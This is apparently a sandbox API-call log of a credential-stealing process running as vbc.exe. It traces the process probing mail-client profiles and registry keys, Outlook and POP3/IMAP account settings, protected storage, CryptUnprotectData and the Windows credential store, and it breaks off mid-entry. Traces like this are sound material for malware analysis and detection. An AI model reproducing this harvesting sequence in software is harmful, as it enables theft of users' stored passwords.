[0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3f2, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Secured") returned 0x7 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Type") returned 0x4 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="User") returned 0x4 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f0, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Profile") returned 0x7 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f3, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f4, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="SMTP Server") returned 0xb [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10 [0058.085] LoadStringA (in: hInstance=0x400000, uID=0x3f5, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="SMTP Server Port") returned 0x10 [0058.085] ??2@YAPAXI@Z () returned 0x4ad7f8 [0058.085] ??2@YAPAXI@Z () returned 0x4a3688 [0058.085] ??2@YAPAXI@Z () returned 0x4ad838 [0058.085] malloc (_Size=0x2100) returned 0x4ad878 [0058.086] malloc (_Size=0x2100) returned 0x1bd0048 [0058.086] malloc (_Size=0x2100) returned 0x1bd2150 [0058.086] malloc (_Size=0x2100) returned 0x1bd4258 [0058.086] GetVersionExA (in: lpVersionInformation=0x417118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x417118*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0058.089] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f8cc, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0058.094] strlen (_Str="Mozilla\\Profiles") returned 0x10 [0058.094] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.094] _mbscpy (in: param_1=0x4a3190, param_2=0x18f8cc | out: param_1=0x4a3190) returned 0x4a3190 [0058.094] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.094] _mbscat (in: param_1=0x4a3190, param_2=0x413078 | out: param_1=0x4a3190) returned 0x4a3190 [0058.094] _mbscat (in: param_1=0x4a3190, param_2=0x412488 | out: param_1=0x4a3190) returned 0x4a3190 [0058.094] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Profiles" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff [0058.094] strlen (_Str="Thunderbird\\Profiles") returned 0x14 [0058.094] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.094] _mbscpy (in: param_1=0x4a3295, param_2=0x18f8cc | out: param_1=0x4a3295) returned 0x4a3295 [0058.094] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.094] _mbscat (in: param_1=0x4a3295, param_2=0x413078 | out: param_1=0x4a3295) returned 0x4a3295 [0058.094] _mbscat (in: param_1=0x4a3295, param_2=0x41249c | out: param_1=0x4a3295) returned 0x4a3295 [0058.094] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Thunderbird\\Profiles" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\thunderbird\\profiles")) returned 0xffffffff [0058.095] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Qualcomm\\Eudora\\CommandLine", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f198 | out: phkResult=0x18f198*=0x0) returned 0x2 [0058.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Classes\\Software\\Qualcomm\\Eudora\\CommandLine\\current", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f198 | out: phkResult=0x18f198*=0x0) returned 0x2 [0058.095] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Thunderbird", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fae0 | out: phkResult=0x18fae0*=0x0) returned 0x2 [0058.095] ExpandEnvironmentStringsA (in: lpSrc="%programfiles%\\Mozilla Thunderbird", lpDst=0x4a349f, nSize=0x104 | out: lpDst="C:\\Program Files (x86)\\Mozilla Thunderbird") returned 0x2b [0058.095] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Thunderbird" (normalized: "c:\\program files (x86)\\mozilla thunderbird")) returned 0xffffffff [0058.095] _strcmpi (_Str1="/stext", _Str2="/stext") returned 0 [0058.095] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f7c4, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")) returned 0x35 [0058.095] _mbscat (in: param_1=0x18f7c4, param_2=0x413458 | out: param_1=0x18f7c4) returned 0x18f7c4 [0058.095] _mbscpy (in: param_1=0x18f8d4, param_2=0x18f7c4 | out: param_1=0x18f8d4) returned 0x18f8d4 [0058.095] _mbscpy (in: param_1=0x18f9d9, param_2=0x413460 | out: param_1=0x18f9d9) returned 0x18f9d9 [0058.095] GetPrivateProfileIntA (lpAppName="General", lpKeyName="ShowGridLines", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0 [0058.096] GetPrivateProfileIntA (lpAppName="General", lpKeyName="SaveFilterIndex", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0 [0058.096] GetPrivateProfileIntA (lpAppName="General", lpKeyName="AddExportHeaderLine", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0 [0058.096] GetPrivateProfileIntA (lpAppName="General", lpKeyName="MarkOddEvenRows", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0 [0058.096] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x18d784, nSize=0x2000, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0 [0058.096] strlen (_Str="") returned 0x0 [0058.096] GetPrivateProfileStringA (in: lpAppName="General", lpKeyName="Columns", lpDefault="", lpReturnedString=0x18d774, nSize=0x2000, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0 [0058.096] strlen (_Str="") returned 0x0 [0058.096] GetPrivateProfileIntA (lpAppName="General", lpKeyName="Sort", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0 [0058.096] _mbsicmp (_Str1=0x4133dc, _Str2=0x4a36b8) returned -1 [0058.097] _mbsicmp (_Str1=0x4133dc, _Str2=0x4a36bf) returned -1 [0058.097] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0058.097] SetCursor (hCursor=0x10007) returned 0x10007 [0058.097] LoadLibraryA (lpLibFileName="pstorec.dll") returned 0x73520000 [0058.324] GetProcAddress (hModule=0x73520000, lpProcName="PStoreCreateInstance") returned 0x7352526c [0058.324] PStoreCreateInstance () returned 0x0 [0063.336] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x759b0000 [0063.339] GetProcAddress (hModule=0x759b0000, lpProcName="CryptUnprotectData") returned 0x759e5a7f [0063.340] UuidFromStringA (in: StringUuid=0x413b08, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0 [0063.340] UuidFromStringA (in: StringUuid=0x413b30, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0 [0063.341] UuidFromStringA (in: StringUuid=0x413b08, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0 [0063.341] UuidFromStringA (in: StringUuid=0x413b30, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0 [0063.341] UuidFromStringA (in: StringUuid=0x413b08, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0 [0063.341] UuidFromStringA (in: StringUuid=0x413b30, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0 [0063.341] UuidFromStringA (in: StringUuid=0x413b08, Uuid=0x18f664 | out: Uuid=0x18f664) returned 0x0 [0063.341] UuidFromStringA (in: StringUuid=0x413b30, Uuid=0x18f674 | out: Uuid=0x18f674) returned 0x0 [0063.341] GetComputerNameA (in: lpBuffer=0x18e874, nSize=0x18e980 | out: lpBuffer="XDUWTFONO", nSize=0x18e980) returned 1 [0063.342] GetUserNameA (in: lpBuffer=0x18e774, pcbBuffer=0x18e980 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e980) returned 1 [0063.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e874, cbMultiByte=-1, lpWideCharStr=0x18e374, cchWideChar=255 | out: lpWideCharStr="XDUWTFONO") returned 10 [0063.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e774, cbMultiByte=-1, lpWideCharStr=0x18e574, cchWideChar=255 | out: lpWideCharStr="5p5NrGJn0jS HALPmcxz") returned 21 [0063.343] strlen (_Str="XDUWTFONO") returned 0x9 [0063.343] strlen (_Str="5p5NrGJn0jS HALPmcxz") returned 0x14 [0063.343] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Talk\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e9ac | out: phkResult=0x18e9ac*=0x0) returned 0x2 [0063.343] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Google\\Google Desktop\\Mailboxes", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f9b0 | out: phkResult=0x18f9b0*=0x0) returned 0x2 [0063.344] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0063.344] GetProcAddress (hModule=0x74d40000, lpProcName="CredReadA") returned 0x74d871c1 [0063.344] GetProcAddress (hModule=0x74d40000, lpProcName="CredFree") returned 0x74d4b2ec [0063.344] GetProcAddress (hModule=0x74d40000, lpProcName="CredDeleteA") returned 0x74d87941 [0063.344] GetProcAddress (hModule=0x74d40000, lpProcName="CredEnumerateA") returned 0x74d87381 [0063.344] GetProcAddress (hModule=0x74d40000, lpProcName="CredEnumerateW") returned 0x74d87481 [0063.344] CredEnumerateW (in: Filter=0x0, Flags=0x0, Count=0x18f620, Credential=0x18f61c | out: Count=0x18f620, Credential=0x18f61c) returned 0 [0063.345] FreeLibrary (hLibModule=0x74d40000) returned 1 [0063.345] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2 [0063.345] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x0) returned 0x2 [0063.345] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fab8 | out: phkResult=0x18fab8*=0x100) returned 0x0 [0063.345] RegEnumKeyExA (in: hKey=0x100, dwIndex=0x0, lpName=0x18f9ac, lpcchName=0x18f584, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f57c | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x18f584, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f57c) returned 0x0 [0063.345] RegOpenKeyExA (in: hKey=0x100, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f580 | out: phkResult=0x18f580*=0x104) returned 0x0 [0063.345] RegQueryValueExA (in: hKey=0x104, lpValueName="Username", lpReserved=0x0, lpType=0x18f560, lpData=0x4a310c, lpcbData=0x18f564*=0x7f | out: lpType=0x18f560*=0x1, lpData="Main Identity", lpcbData=0x18f564*=0xe) returned 0x0 [0063.345] RegCloseKey (hKey=0x104) returned 0x0 [0063.346] sprintf (in: _Dest=0x18f5ac, _Format="%s\\%s" | out: _Dest="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts") returned 91 [0063.346] RegOpenKeyExA (in: hKey=0x100, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Internet Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fab0 | out: phkResult=0x18fab0*=0x0) returned 0x2 [0063.346] sprintf (in: _Dest=0x18f5ac, _Format="%s\\%s" | out: _Dest="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts") returned 101 [0063.346] RegOpenKeyExA (in: hKey=0x100, lpSubKey="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts", ulOptions=0x0, samDesired=0x20019, phkResult=0x18faac | out: phkResult=0x18faac*=0x0) returned 0x2 [0063.347] RegEnumKeyExA (in: hKey=0x100, dwIndex=0x1, lpName=0x18f9ac, lpcchName=0x18f588, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f580 | out: lpName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpcchName=0x18f588, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f580) returned 0x103 [0063.347] RegCloseKey (hKey=0x100) returned 0x0 [0063.347] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fad4 | out: phkResult=0x18fad4*=0x100) returned 0x0 [0063.347] RegEnumKeyExA (in: hKey=0x100, dwIndex=0x0, lpName=0x18f9b4, lpcchName=0x18f98c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f984 | out: lpName="Outlook", lpcchName=0x18f98c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f984) returned 0x0 [0063.347] strlen (_Str="Outlook") returned 0x7 [0063.347] RegOpenKeyExA (in: hKey=0x100, lpSubKey="Outlook", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fab4 | out: phkResult=0x18fab4*=0x104) returned 0x0 [0063.347] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x0, lpName=0x18f89c, lpcchName=0x18f874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f86c | out: lpName="05cb6f136411cf4daf1f74e966b0a7dc", lpcchName=0x18f874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f86c) returned 0x0 [0063.347] RegOpenKeyExA (in: hKey=0x104, lpSubKey="05cb6f136411cf4daf1f74e966b0a7dc", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.347] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.347] RegCloseKey (hKey=0x108) returned 0x0 [0063.347] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="0a0d020000000000c000000000000046", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.347] RegOpenKeyExA (in: hKey=0x104, lpSubKey="0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.347] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.347] RegCloseKey (hKey=0x108) returned 0x0 [0063.347] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="13dbb0c8aa05101a9bb000aa002fc45a", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.348] RegOpenKeyExA (in: hKey=0x104, lpSubKey="13dbb0c8aa05101a9bb000aa002fc45a", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.348] RegCloseKey (hKey=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x3, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="3517490d76624c419a828607e2a54604", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.348] RegOpenKeyExA (in: hKey=0x104, lpSubKey="3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.348] RegCloseKey (hKey=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x4, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="4b62e5f8c092a64ea9b79fd559a5a15e", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.348] RegOpenKeyExA (in: hKey=0x104, lpSubKey="4b62e5f8c092a64ea9b79fd559a5a15e", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.348] RegCloseKey (hKey=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x5, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="609a848a708f544697003a34105400ef", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.348] RegOpenKeyExA (in: hKey=0x104, lpSubKey="609a848a708f544697003a34105400ef", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.348] RegCloseKey (hKey=0x108) returned 0x0 [0063.348] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x6, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="63cba20b08018a458b6edb5d87fb54da", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.349] RegOpenKeyExA (in: hKey=0x104, lpSubKey="63cba20b08018a458b6edb5d87fb54da", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.349] RegCloseKey (hKey=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x7, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="828cd3a417cead4ab3a214070dce1c3d", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.349] RegOpenKeyExA (in: hKey=0x104, lpSubKey="828cd3a417cead4ab3a214070dce1c3d", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.349] RegCloseKey (hKey=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x8, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="8503020000000000c000000000000046", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.349] RegOpenKeyExA (in: hKey=0x104, lpSubKey="8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.349] RegCloseKey (hKey=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x9, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="88d17fec23cbdd4fb54ad1d34c0dce09", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.349] RegOpenKeyExA (in: hKey=0x104, lpSubKey="88d17fec23cbdd4fb54ad1d34c0dce09", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.349] RegCloseKey (hKey=0x108) returned 0x0 [0063.349] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xa, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="9207f3e0a3b11019908b08002b2a56c2", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.349] RegOpenKeyExA (in: hKey=0x104, lpSubKey="9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.350] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x103 [0063.350] RegCloseKey (hKey=0x108) returned 0x0 [0063.350] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xb, lpName=0x18f89c, lpcchName=0x18f87c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874 | out: lpName="9375CFF0413111d3B88A00104B2A6676", lpcchName=0x18f87c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f874) returned 0x0 [0063.350] RegOpenKeyExA (in: hKey=0x104, lpSubKey="9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f99c | out: phkResult=0x18f99c*=0x108) returned 0x0 [0063.350] RegEnumKeyExA (in: hKey=0x108, dwIndex=0x0, lpName=0x18f784, lpcchName=0x18f758, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750 | out: lpName="00000001", lpcchName=0x18f758, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x18f750) returned 0x0 [0063.350] RegOpenKeyExA (in: hKey=0x108, lpSubKey="00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f884 | out: phkResult=0x18f884*=0x10c) returned 0x0 [0063.350] RegQueryValueExA (in: hKey=0x10c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: lpType=0x18f2d8*=0x0, lpData=0x18eed0*=0x0, lpcbData=0x18f2d4*=0x400) returned 0x2 [0063.350] RegQueryValueExA (in: hKey=0x10c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x18f2d8, lpData=0x18eed0, lpcbData=0x18f2d4*=0x400 | out: 